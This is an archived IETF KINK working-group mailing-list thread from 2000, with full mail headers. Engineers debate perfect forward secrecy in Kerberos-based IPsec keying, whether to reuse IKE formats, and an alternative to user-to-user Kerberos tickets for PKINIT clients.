13 Oct 2000, Michael Thomas wrote: >=20 > > Greg Troxel writes: > > > Regarding: > > >=20 > > > draft-ietf-kink-reqmt-00.txt > > > draft-ietf-kink-kink-00.txt > > >=20 > > > I am concerned about the lack of consideration for PFS. > > > At a minimum this needs to be in the (currently blank) security > > > considerations section. ------_=_NextPart_001_01C03576.F98FB468 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable RE: lack of PFS considered harmful

I agree too, that PFS needs to be done via Kerberos = itself. The good news is that I believe use of PK options of Kerberos = with Diffie-Hellman certified keys gets us pretty close to PFS. (One = would need to use both PKINIT for AS_REQs; and PKCROSS to exchange keys = between the KDC and the server, instead of using a long term server = symmetric secret key. It don't believe it is currently envisioned to use = PKCROSS for KDC to server key exchange, only for cross realm KDC to KDC = key exchange, but it doesn't seem all that hard to adopt PKCROSS for the = task.)

> -----Original Message-----
> From: Jan Vilhuber [mailto:vilhuber@cisco.com]
> Sent: Friday, October 13, 2000 4:59 PM
> To: Michael Thomas
> Cc: Greg Troxel; ietf-kink@vpnc.org
> Subject: Re: lack of PFS considered = harmful
>
>
> That paragraph sounds great to me. I second the = motion ;)
>
> jan
>
>
> On Fri, 13 Oct 2000, Michael Thomas = wrote:
>
> > Greg Troxel writes:
> >  > Regarding:
> >  >
> >  >  = draft-ietf-kink-reqmt-00.txt
> >  >  = draft-ietf-kink-kink-00.txt
> >  >
> >  > I am concerned about the lack of = consideration for PFS.
> >  > At a minimum this needs to be in = the (currently blank) security
> >  > considerations section.

------_=_NextPart_001_01C03576.F98FB468-- From owner-ietf-kink Fri Oct 13 17:56:10 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id RAA10523 for ietf-kink-bks; Fri, 13 Oct 2000 17:56:10 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Sun.COM [192.18.98.31]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id RAA10519 for ; Fri, 13 Oct 2000 17:56:08 -0700 (PDT) Received: from eastmail1.East.Sun.COM ([129.148.1.240]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id TAA18594; Fri, 13 Oct 2000 19:00:48 -0600 (MDT) Received: from thunk.east.sun.com (thunk.East.Sun.COM [129.148.174.66]) by eastmail1.East.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v1.7) with ESMTP id VAA29645; Fri, 13 Oct 2000 21:00:47 -0400 (EDT) Received: from thunk (localhost [127.0.0.1]) by thunk.east.sun.com (8.10.2+Sun/8.10.2) with ESMTP id e9E10Bl151199; Fri, 13 Oct 2000 21:00:11 -0400 (EDT) Message-Id: <200010140100.e9E10Bl151199@thunk.east.sun.com> From: Bill Sommerfeld To: "Paul Leach" cc: "Jan Vilhuber" , "Michael Thomas" , "Greg Troxel" , ietf-kink@vpnc.org Subject: Re: lack of PFS considered harmful In-reply-to: Your message of "Fri, 13 Oct 2000 17:37:47 PDT." <5B90AD65A9E8934987DB0C8C07626574472FA8@DF-BOWWOW.platinum.corp.microsoft.com> Reply-to: sommerfeld@east.sun.com Date: Fri, 13 Oct 2000 21:00:11 -0400 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: > The good news is that I believe use of PK options of Kerberos with > Diffie-Hellman certified keys gets us pretty close to PFS. "Pretty Close" and "Perfect" don't mix. Also, requiring changes to the Kerberos protocol or KDC to support KINK would be out of scope for this working group. I still think the path of least resistance for KINK is to reuse as much of IKE as possible, just using kerberos as an authentication method.. - Bill From owner-ietf-kink Fri Oct 13 18:02:00 2000 Received: (from majordomo@localhost) by ns.secondary.com (8.9.3/8.9.3) id SAA10636 for ietf-kink-bks; Fri, 13 Oct 2000 18:02:00 -0700 (PDT) Received: from DF-INET-1.dogfoodinternet.com (df-inet1.exchange.microsoft.com [131.107.8.8]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id SAA10632 for ; Fri, 13 Oct 2000 18:01:56 -0700 (PDT) Received: from df-virus2.platinum.corp.microsoft.com ([172.30.236.33]) by DF-INET-1.dogfoodinternet.com with Microsoft SMTPSVC(5.0.2195.1600); Fri, 13 Oct 2000 18:04:32 -0700 Received: from 172.30.236.11 by df-virus2.platinum.corp.microsoft.com (InterScan E-Mail VirusWall NT); Fri, 13 Oct 2000 18:05:38 -0700 (Pacific Daylight Time) Received: from DF-BOWWOW.platinum.corp.microsoft.com ([172.30.236.100]) by yuri.dns.microsoft.com with Microsoft SMTPSVC(5.0.2195.1600); Fri, 13 Oct 2000 18:05:38 -0700 x-mimeole: Produced By Microsoft Exchange V6.0.4417.0 content-class: urn:content-classes:message Subject: RE: lack of PFS considered harmful MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C0357A.DCDABFD8" Date: Fri, 13 Oct 2000 18:05:37 -0700 Message-ID: <5B90AD65A9E8934987DB0C8C0762657446D2E1@DF-BOWWOW.platinum.corp.microsoft.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: lack of PFS considered harmful Thread-Index: AcA1ekMWY5xrNc6WRVaPdfVB1tG25wAADsxA From: "Paul Leach" To: Cc: "Jan Vilhuber" , "Michael Thomas" , "Greg Troxel" , X-OriginalArrivalTime: 14 Oct 2000 01:05:38.0174 (UTC) FILETIME=[DD5129E0:01C0357A] Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: This is a multi-part message in MIME format. ------_=_NextPart_001_01C0357A.DCDABFD8 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable > -----Original Message----- > From: Bill Sommerfeld [mailto:sommerfeld@east.sun.com] > Sent: Friday, October 13, 2000 6:00 PM > To: Paul Leach > Cc: Jan Vilhuber; Michael Thomas; Greg Troxel; ietf-kink@vpnc.org > Subject: Re: lack of PFS considered harmful=20 >=20 >=20 > > The good news is that I believe use of PK options of Kerberos with > > Diffie-Hellman certified keys gets us pretty close to PFS. >=20 > "Pretty Close" and "Perfect" don't mix. Also, requiring changes to > the Kerberos protocol or KDC to support KINK would be out of scope for > this working group. I agree. In fact, I agreed in the part of the post you excised. I was just noting that the fix to kerberos (and the fact that it's pretty close indeed means that a fix would be needed) might not be too hard. >=20 > I still think the path of least resistance for KINK is to reuse as > much of IKE as possible, just using kerberos as an authentication > method.. Yuck. The road to hell is often the path of least resistance. Paul ------_=_NextPart_001_01C0357A.DCDABFD8 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable RE: lack of PFS considered harmful

> -----Original Message-----
> From: Bill Sommerfeld [mailto:sommerfeld@east.sun.com]
> Sent: Friday, October 13, 2000 6:00 PM
> To: Paul Leach
> Cc: Jan Vilhuber; Michael Thomas; Greg Troxel; = ietf-kink@vpnc.org
> Subject: Re: lack of PFS considered harmful =
>
>
> > The good news is that I believe use of PK = options of Kerberos with
> > Diffie-Hellman certified keys gets us = pretty close to PFS.
>
> "Pretty Close" and "Perfect" = don't mix.  Also, requiring changes to
> the Kerberos protocol or KDC to support KINK = would be out of scope for
> this working group.

I agree. In fact, I agreed in the part of the post you = excised. I was just noting that the fix to kerberos (and the fact that = it's pretty close indeed means that a fix would be needed) might not be = too hard.

>
> I still think the path of least resistance for = KINK is to reuse as
> much of IKE as possible, just using kerberos as = an authentication
> method..

Yuck.  The road to hell is often the path of = least resistance.

Paul

------_=_NextPart_001_01C0357A.DCDABFD8-- From owner-ietf-kink Sat Oct 14 10:21:01 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id KAA04965 for ietf-kink-bks; Sat, 14 Oct 2000 10:21:01 -0700 (PDT) Received: from jindo.cisco.com (jindo.cisco.com [171.69.11.73]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id KAA04961 for ; Sat, 14 Oct 2000 10:20:59 -0700 (PDT) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [171.71.147.106]) by jindo.cisco.com (8.8.8/2.5.1/Cisco List Logging/8.8.8) with ESMTP id KAA18689; Sat, 14 Oct 2000 10:24:51 -0700 (PDT) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id KAA10468; Sat, 14 Oct 2000 10:24:50 -0700 (PDT) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14824.38626.853445.519932@thomasm-u1.cisco.com> Date: Sat, 14 Oct 2000 10:24:50 -0700 (PDT) To: sommerfeld@east.sun.com Cc: "Paul Leach" , "Jan Vilhuber" , "Michael Thomas" , "Greg Troxel" , ietf-kink@vpnc.org Subject: Re: lack of PFS considered harmful In-Reply-To: <200010140100.e9E10Bl151199@thunk.east.sun.com> References: <5B90AD65A9E8934987DB0C8C07626574472FA8@DF-BOWWOW.platinum.corp.microsoft.com> <200010140100.e9E10Bl151199@thunk.east.sun.com> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Bill Sommerfeld writes: > > The good news is that I believe use of PK options of Kerberos with > > Diffie-Hellman certified keys gets us pretty close to PFS. > > "Pretty Close" and "Perfect" don't mix. Also, requiring changes to > the Kerberos protocol or KDC to support KINK would be out of scope for > this working group. The point was that this is a more general issue for Kerberos itself, and the better route would be to take it up with that WG so that all Kerberos applications would benefit. > I still think the path of least resistance for KINK is to reuse as > much of IKE as possible, just using kerberos as an authentication > method.. I believe there are already drafts which attempt to do exactly that; that's not the goal of this WG though. The main goal here is to leverage Kerberos as a key exchange and authentication mechanism. Grafting IKE key exchange or authentication mechanisms into KINK sort of misses the point. Mike From owner-ietf-kink Sat Oct 14 18:07:22 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id SAA09934 for ietf-kink-bks; Sat, 14 Oct 2000 18:07:22 -0700 (PDT) Received: from cisco.com (flipper.cisco.com [171.69.25.141]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id SAA09930 for ; Sat, 14 Oct 2000 18:07:20 -0700 (PDT) Received: from localhost (ssh-sj1.cisco.com [171.68.225.134]) by cisco.com (8.8.5-Cisco.2-SunOS.5.5.1.sun4/8.8.8) with ESMTP id SAA03893; Sat, 14 Oct 2000 18:11:36 -0700 (PDT) Date: Sat, 14 Oct 2000 18:11:21 -0700 (PDT) From: Jan Vilhuber To: Paul Leach cc: sommerfeld@east.sun.com, Michael Thomas , Greg Troxel , ietf-kink@vpnc.org Subject: RE: lack of PFS considered harmful In-Reply-To: <5B90AD65A9E8934987DB0C8C0762657446D2E1@DF-BOWWOW.platinum.corp.microsoft.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: On Fri, 13 Oct 2000, Paul Leach wrote: > > > > -----Original Message----- > > From: Bill Sommerfeld [mailto:sommerfeld@east.sun.com] > > Sent: Friday, October 13, 2000 6:00 PM > > To: Paul Leach > > Cc: Jan Vilhuber; Michael Thomas; Greg Troxel; ietf-kink@vpnc.org > > Subject: Re: lack of PFS considered harmful > > > > > > > The good news is that I believe use of PK options of Kerberos with > > > Diffie-Hellman certified keys gets us pretty close to PFS. > > > > "Pretty Close" and "Perfect" don't mix. Also, requiring changes to > > the Kerberos protocol or KDC to support KINK would be out of scope for > > this working group. > > I agree. In fact, I agreed in the part of the post you excised. I was > just noting that the fix to kerberos (and the fact that it's pretty > close indeed means that a fix would be needed) might not be too hard. > > > > > I still think the path of least resistance for KINK is to reuse as > > much of IKE as possible, just using kerberos as an authentication > > method.. > > Yuck. The road to hell is often the path of least resistance. > And IKE bashing (Yuck! NOT IKE!) seems to be some sort of 'least resistance' kind of thing, too. It makes perfect sense to reuse IKE packet formats where possible. No one is suggesting doing cookies, and other things that make IKE complicated. Reusing packet-formats make perfect sense because there's well-tested code to parse them already out there. jan -- Jan Vilhuber vilhuber@cisco.com Cisco Systems, San Jose (408) 527-0847 From owner-ietf-kink Sat Oct 14 18:10:00 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id SAA09975 for ietf-kink-bks; Sat, 14 Oct 2000 18:10:00 -0700 (PDT) Received: from cisco.com (flipper.cisco.com [171.69.25.141]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id SAA09968 for ; Sat, 14 Oct 2000 18:09:59 -0700 (PDT) Received: from localhost (ssh-sj1.cisco.com [171.68.225.134]) by cisco.com (8.8.5-Cisco.2-SunOS.5.5.1.sun4/8.8.8) with ESMTP id SAA03940; Sat, 14 Oct 2000 18:13:53 -0700 (PDT) Date: Sat, 14 Oct 2000 18:13:52 -0700 (PDT) From: Jan Vilhuber To: Michael Thomas cc: sommerfeld@east.sun.com, Paul Leach , Greg Troxel , ietf-kink@vpnc.org Subject: Re: lack of PFS considered harmful In-Reply-To: <14824.38626.853445.519932@thomasm-u1.cisco.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: On Sat, 14 Oct 2000, Michael Thomas wrote: > Bill Sommerfeld writes: > > > The good news is that I believe use of PK options of Kerberos with > > > Diffie-Hellman certified keys gets us pretty close to PFS. > > > > "Pretty Close" and "Perfect" don't mix. Also, requiring changes to > > the Kerberos protocol or KDC to support KINK would be out of scope for > > this working group. > > The point was that this is a more general issue > for Kerberos itself, and the better route would > be to take it up with that WG so that all > Kerberos applications would benefit. > > > I still think the path of least resistance for KINK is to reuse as > > much of IKE as possible, just using kerberos as an authentication > > method.. > > I believe there are already drafts which attempt to > do exactly that; that's not the goal of this WG > though. The main goal here is to leverage > Kerberos as a key exchange and authentication > mechanism. Grafting IKE key exchange or > authentication mechanisms into KINK sort of > misses the point. > Depends on how you look at it. The original idea was to use a simplified 2 packet quick-mode exchange (scratch the last message, and let kerberos do freshness and replay-protection) to carry the proposals and such, and let kerberos do the encryption, mutual authentication, and replay-protection. This sort of division makes it easy to parse the packets, and also makes it easy to implement and analyze. jan -- Jan Vilhuber vilhuber@cisco.com Cisco Systems, San Jose (408) 527-0847 From owner-ietf-kink Mon Oct 30 16:01:20 2000 Received: (from majordomo@localhost) by ns.secondary.com (8.9.3/8.9.3) id QAA25523 for ietf-kink-bks; Mon, 30 Oct 2000 16:01:20 -0800 (PST) Received: from ariel.gi.com (ariel.gi.com [168.84.84.10]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id QAA25518 for ; Mon, 30 Oct 2000 16:01:18 -0800 (PST) Received: from ntas0028.gi.com ([168.84.84.98]) by GI.COM (PMDF V5.2-31 #46260) with ESMTP id <01JVY4A8KI1CEZE7XF@GI.COM> for ietf-kink@vpnc.org; Mon, 30 Oct 2000 11:58:17 PST Received: by ntas0028.gi.com with Internet Mail Service (5.5.2650.21) id ; Mon, 30 Oct 2000 11:57:27 -0500 Content-return: allowed Date: Mon, 30 Oct 2000 15:00:25 -0500 From: "Medvinsky, Sasha (SD-EX)" Subject: alternative to user-to-user Kerberos in KINK To: "'ietf-kink@vpnc.org'" Message-id: <97DEDE66B3DCD11199D200805FA71BE202FD47EC@ntas0027.gi.com> MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-type: text/plain; charset="iso-8859-1" Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: The user-to-user Kerberos mode in KINK is intended to address the situation with PKINIT clients that do not have symmetric client keys registered with the KDC and therefore a Kerberized server cannot get a standard ticket for such a client. But the server still has to obtain user-to-user tickets for clients, which brings up the following issues: 1) Under some architecures, such as VoIP, fast failover time from a primary to a backup application server is critical. With the current protocol, the backup server would have to go to the KDC and get user-to-user tickets for all of the clients with which it needs to establish IPSec SAs. This adds to the recovery time and adds additional performance/reliability requirements to the KDC. The number of clients per server can be large - 100,000 clients / Call Server is possible in the PacketCable architecture. It is possible for the server to save user-to-user tickets and corresponding session keys into some shared database, which is undesirable in terms of complexity as well as security. 2) Load balancing between multiple Call Servers is sometimes used in the VoIP architecture - support for it is mandatory in the PacketCable standard. The user-to-user tickets again either add to the rekeying time (which delays the switch-over time for a client between servers) or adds the complication of a shared database of user-to-user tickets. 3) A standard Kerberized server that doesn't support the user-to-user tickets is a lot simpler to implement. It would implement a very small percentage of the Kerberos protocol - just the AP Req/AP Rep/KRB-ERROR messages. With the user-to-user mode, the server needs the complete Kerberos client implementation and in addition may need to support a very large ticket cache for user-to-user tickets. 4) Setting per-user policy is awkward for user-to-user requests. Normally, the user policy is associated with the client, but in this case the client is the server. Kerberos allows a user to pass authorization data in a TGS Request (which may be insecure, depending on the content of that authorization data), which would not be possible if it is the server getting a ticket for the client. 5) Setting per-user policy in a cross-realm case is even more awkward. The server's GetTGT request would most likely contain the server's realm name (as the server may not know the client's realm). This means that the response to the GetTGT will contain a cross-realm TGT for the client. So, the server's KDC will wind up issuing a server a user-to-user ticket for a client principal that is not even in that KDC's realm. There are alternative methods for handling PKINIT clients that address most of the above issues. What I propose, is the following modification to the protocol. The GetTGT message flow in section 4.2 can be replaced with the following: A B ------ ------ 1 AuthenticateRequest+ServerPrincipalName---------------> 2 <------------------------------------AuthenticateReply+AP_REQ 3 CREATE+ISAKMP (keyed cksum with sess key)--------> 4 <------------REPLY+ISAKMP(keyed cksum with sess key) In the above flows, there needs to be a way to tie flows 2 and 3 together - for example the client timestamp inside AP_REQ can be repeated in flow 3. In addition, there is already an XID in the header for this key management session. (It is also possible to include the AP_REP in flow 3.) In the above flows, the AuthenticateRequest is not authenticated, just like the GetTGT message. There is the denial of service argument against the above flow since anyone can send the AuthenticateRequest. If C impersonates A and sends the AuthenticateRequest, B will have to reply, but A will reject the reply because the XID (session ID in the header) will not match anything that A sent out. The denial of service arguments are: a) denial of service on the KDC - B may need to get a ticket for A if it doesn't have it already. But, even if KDC receives an invalid TGS_REQ, it still has to decrypt it to see that it is invalid. I don't think that the extra work of issuing a ticket is a major problem. Also, clients should cache the tickets, and the number of servers in the KDC database is probably not that big. Also, the clients should excersize access control and know ahead of time which servers they should be talking to. b) denial of service on the clients - this is similar to (a), except that the client's ticket cache is filled up. This is really the same case as (a), because when the client's ticket cache is filled up it can remove one of the entries. It just means that if the client gets a request that needs the removed ticket, the client will request it from the KDC again. Also, with the current KINK protocol, similar denial of service attacks are possible. In that protocol, the GetTGT message only specifies the realm. If the server doesn't know the client's name, it might get the wrong client TGT and get a user-to-user ticket for a wrong client. If the server then finds out that the resulting user-to-user ticket is not accepted by the legitimate client, it will probably retry with another GetTGT message that could also result in a wrong TGT (inserted by an adversary) and then a wrong user-to-user ticket, ... From owner-ietf-kink Tue Oct 31 14:54:43 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id OAA11835 for ietf-kink-bks; Tue, 31 Oct 2000 14:54:43 -0800 (PST) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id OAA11830 for ; Tue, 31 Oct 2000 14:54:41 -0800 (PST) Received: from cmf.nrl.navy.mil (elvis.cmf.nrl.navy.mil [134.207.10.38]) (authenticated) by ginger.cmf.nrl.navy.mil (8.10.1/8.10.1) with ESMTP id e9VN0gH09352 for ; Tue, 31 Oct 2000 18:00:42 -0500 (EST) Message-Id: <200010312300.e9VN0gH09352@ginger.cmf.nrl.navy.mil> To: "'ietf-kink@vpnc.org'" Subject: Re: alternative to user-to-user Kerberos in KINK In-reply-to: Your message of "Mon, 30 Oct 2000 15:00:25 EST." <97DEDE66B3DCD11199D200805FA71BE202FD47EC@ntas0027.gi.com> X-Face: "Evs"_GpJ]],xS)b$T2#V&{KfP_i2`TlPrY$Iv9+TQ!6+`~+l)#7I)0xr1>4hfd{#0B4 WIn3jU;bql;{2Uq%zw5bF4?%F&&j8@KaT?#vBGk}u07<+6/`.F-3_GA@6Bq5gN9\+s;_d gD\SW #]iN_U0 KUmOR.P<|um5yPkEpSD@*e` Date: Tue, 31 Oct 2000 18:00:41 -0500 From: Ken Hornstein Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: > 3) A standard Kerberized server that doesn't support the >user-to-user tickets is a lot simpler to implement. If you don't handle a TGS_REQ, I don't think you could call it "Kerberos"; and from looking at a sample KDC, I don't think a TGS_REQ really adds that much complexity (compared to how much else you have to implement to do Kerberos). --Ken From owner-ietf-kink Fri Nov 3 11:38:47 2000 Received: (from majordomo@localhost) by ns.secondary.com (8.9.3/8.9.3) id LAA14703 for ietf-kink-bks; Fri, 3 Nov 2000 11:38:47 -0800 (PST) Received: from cisco.com (jindo.cisco.com [171.69.11.73]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id LAA14699 for ; Fri, 3 Nov 2000 11:38:45 -0800 (PST) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by cisco.com (8.8.8/2.5.1/Cisco List Logging/8.8.8) with ESMTP id LAA15705; Fri, 3 Nov 2000 11:44:46 -0800 (PST) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id LAA01988; Fri, 3 Nov 2000 11:44:46 -0800 (PST) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14851.5550.610343.923802@thomasm-u1.cisco.com> Date: Fri, 3 Nov 2000 11:44:46 -0800 (PST) To: "Medvinsky, Sasha (SD-EX)" Cc: "'ietf-kink@vpnc.org'" Subject: alternative to user-to-user Kerberos in KINK In-Reply-To: <97DEDE66B3DCD11199D200805FA71BE202FD47EC@ntas0027.gi.com> References: <97DEDE66B3DCD11199D200805FA71BE202FD47EC@ntas0027.gi.com> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: After talking to Matt Hur about this and thinking about this for a long time, I think the better part of valor here may, in fact, be avoidance. Taking a giant step backward, the root of all of the trouble here is that KINK is, in fact, a peer to peer protocol where PKinit expects a client server relationship. The main problem is that PKinit authenticated clients do not share a symmetric key at the KDC so the KDC cannot issue a service ticket directly thus bringing on the issues related to user-user mode. If the PKinit client did share a key with the KDC, the KINK peer would just obtain a normal service ticket and that would be that. Therefore, I think that I agree with Matt's contention that a much better strategy for use of PKinit would be to use PKinit as an enrollment strategy into a kerberos realm rather than an authentication strategy, per se. Ie, a client authenticates to the KDC using a cert but the KDC then enrolls it with a symmetric key and saves that key in its principal database. I haven't looked at this exhaustively, but I think that this strategy could be implemented using either no or minimal changes to PKinit -- the obvious thing to do is use the session key from the TGT from the PKinit AS-REQ as the symmetric key. My proposal is that we deal with this problem as a PKinit issue rather than a KINK issue because this is a generic problem with PKinit -- KINK is just the first to stumble upon the implications of using PKinit in a peer to peer application. The advantage here is that we could avoid *all* unauthenticated requests which from a DoS standpoint seems like a much better idea. Mike Medvinsky, Sasha (SD-EX) writes: > The user-to-user Kerberos mode in KINK is intended to address the situation > with PKINIT clients that do not have symmetric client keys registered with > the KDC and therefore a Kerberized server cannot get a standard ticket for > such a client. But the server still has to obtain user-to-user tickets for > clients, which brings up the following issues: > > 1) Under some architecures, such as VoIP, fast failover time from a > primary to a backup application server is critical. With the current > protocol, the backup server would have to go to the KDC and get user-to-user > tickets for all of the clients with which it needs to establish IPSec SAs. > This adds to the recovery time and adds additional performance/reliability > requirements to the KDC. The number of clients per server can be large - > 100,000 clients / Call Server is possible in the PacketCable architecture. > > It is possible for the server to save user-to-user tickets and > corresponding session keys into some shared database, which is undesirable > in terms of complexity as well as security. > > 2) Load balancing between multiple Call Servers is sometimes used in > the VoIP architecture - support for it is mandatory in the PacketCable > standard. The user-to-user tickets again either add to the rekeying time > (which delays the switch-over time for a client between servers) or adds the > complication of a shared database of user-to-user tickets. > > 3) A standard Kerberized server that doesn't support the > user-to-user tickets is a lot simpler to implement. It would implement a > very small percentage of the Kerberos protocol - just the AP Req/AP > Rep/KRB-ERROR messages. With the user-to-user mode, the server needs the > complete Kerberos client implementation and in addition may need to support > a very large ticket cache for user-to-user tickets. > > 4) Setting per-user policy is awkward for user-to-user requests. > Normally, the user policy is associated with the client, but in this case > the client is the server. Kerberos allows a user to pass authorization data > in a TGS Request (which may be insecure, depending on the content of that > authorization data), which would not be possible if it is the server getting > a ticket for the client. > > 5) Setting per-user policy in a cross-realm case is even more > awkward. The server's GetTGT request would most likely contain the server's > realm name (as the server may not know the client's realm). This means that > the response to the GetTGT will contain a cross-realm TGT for the client. > So, the server's KDC will wind up issuing a server a user-to-user ticket for > a client principal that is not even in that KDC's realm. > > There are alternative methods for handling PKINIT clients that address most > of the above issues. What I propose, is the following modification to the > protocol. The GetTGT message flow in section 4.2 can be replaced with the > following: > > A > B > ------ > ------ > 1 AuthenticateRequest+ServerPrincipalName---------------> > > 2 <------------------------------------AuthenticateReply+AP_REQ > > 3 CREATE+ISAKMP (keyed cksum with sess key)--------> > > 4 <------------REPLY+ISAKMP(keyed cksum with sess key) > > In the above flows, there needs to be a way to tie flows 2 and 3 together - > for example the client timestamp inside AP_REQ can be repeated in flow 3. > In addition, there is already an XID in the header for this key management > session. (It is also possible to include the AP_REP in flow 3.) > > In the above flows, the AuthenticateRequest is not authenticated, just like > the GetTGT message. There is the denial of service argument against the > above flow since anyone can send the AuthenticateRequest. If C impersonates > A and sends the AuthenticateRequest, B will have to reply, but A will reject > the reply because the XID (session ID in the header) will not match anything > that A sent out. The denial of service arguments are: > > a) denial of service on the KDC - B may need to get a ticket for A > if it doesn't have it already. But, even if KDC receives an invalid > TGS_REQ, it still has to decrypt it to see that it is invalid. I don't > think that the extra work of issuing a ticket is a major problem. Also, > clients should cache the tickets, and the number of servers in the KDC > database is probably not that big. Also, the clients should excersize > access control and know ahead of time which servers they should be talking > to. > > b) denial of service on the clients - this is similar to (a), except > that the client's ticket cache is filled up. This is really the same case > as (a), because when the client's ticket cache is filled up it can remove > one of the entries. It just means that if the client gets a request that > needs the removed ticket, the client will request it from the KDC again. > > Also, with the current KINK protocol, similar denial of service attacks are > possible. In that protocol, the GetTGT message only specifies the realm. > If the server doesn't know the client's name, it might get the wrong client > TGT and get a user-to-user ticket for a wrong client. If the server then > finds out that the resulting user-to-user ticket is not accepted by the > legitimate client, it will probably retry with another GetTGT message that > could also result in a wrong TGT (inserted by an adversary) and then a wrong > user-to-user ticket, ... > From owner-ietf-kink Fri Nov 3 11:57:56 2000 Received: (from majordomo@localhost) by ns.secondary.com (8.9.3/8.9.3) id LAA15486 for ietf-kink-bks; Fri, 3 Nov 2000 11:57:56 -0800 (PST) Received: from ariel.gi.com (ariel.gi.com [168.84.84.10]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id LAA15480 for ; Fri, 3 Nov 2000 11:57:54 -0800 (PST) Received: from ntas0028.gi.com ([168.84.84.98]) by GI.COM (PMDF V5.2-31 #46260) with ESMTP id <01JW3PLQT1VAEZGNF2@GI.COM> for ietf-kink@vpnc.org; Fri, 3 Nov 2000 12:03:24 PST Received: by ntas0028.gi.com with Internet Mail Service (5.5.2650.21) id ; Fri, 03 Nov 2000 12:00:14 -0500 Content-return: allowed Date: Fri, 03 Nov 2000 15:03:10 -0500 From: "Medvinsky, Sasha (SD-EX)" Subject: RE: alternative to user-to-user Kerberos in KINK To: "'Michael Thomas'" Cc: "'ietf-kink@vpnc.org'" Message-id: <97DEDE66B3DCD11199D200805FA71BE202FD4809@ntas0027.gi.com> MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-type: text/plain; charset="iso-8859-1" Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Mike, As per my previous email, I listed what I consider to be problems associated with a server obtaining tickets for a large number of its clients. While I would support a change to PKINIT that allows automatic generation of client keys that are saved in the KDC database, I don't believe that it addresses this issue. Sasha. > -----Original Message----- > From: Michael Thomas [mailto:mat@cisco.com] > Sent: Friday, November 03, 2000 11:45 AM > To: Medvinsky, Sasha (SD-EX) > Cc: 'ietf-kink@vpnc.org' > Subject: alternative to user-to-user Kerberos in KINK > > > > After talking to Matt Hur about this and thinking > about this for a long time, I think the better > part of valor here may, in fact, be avoidance. > > Taking a giant step backward, the root of all of > the trouble here is that KINK is, in fact, a peer > to peer protocol where PKinit expects a client > server relationship. The main problem is that > PKinit authenticated clients do not share a > symmetric key at the KDC so the KDC cannot issue a > service ticket directly thus bringing on the > issues related to user-user mode. If the PKinit > client did share a key with the KDC, the KINK peer > would just obtain a normal service ticket and that > would be that. > > Therefore, I think that I agree with Matt's > contention that a much better strategy for use of > PKinit would be to use PKinit as an enrollment > strategy into a kerberos realm rather than an > authentication strategy, per se. Ie, a client > authenticates to the KDC using a cert but the KDC > then enrolls it with a symmetric key and saves > that key in its principal database. I haven't > looked at this exhaustively, but I think that this > strategy could be implemented using either no or > minimal changes to PKinit -- the obvious thing to > do is use the session key from the TGT from the > PKinit 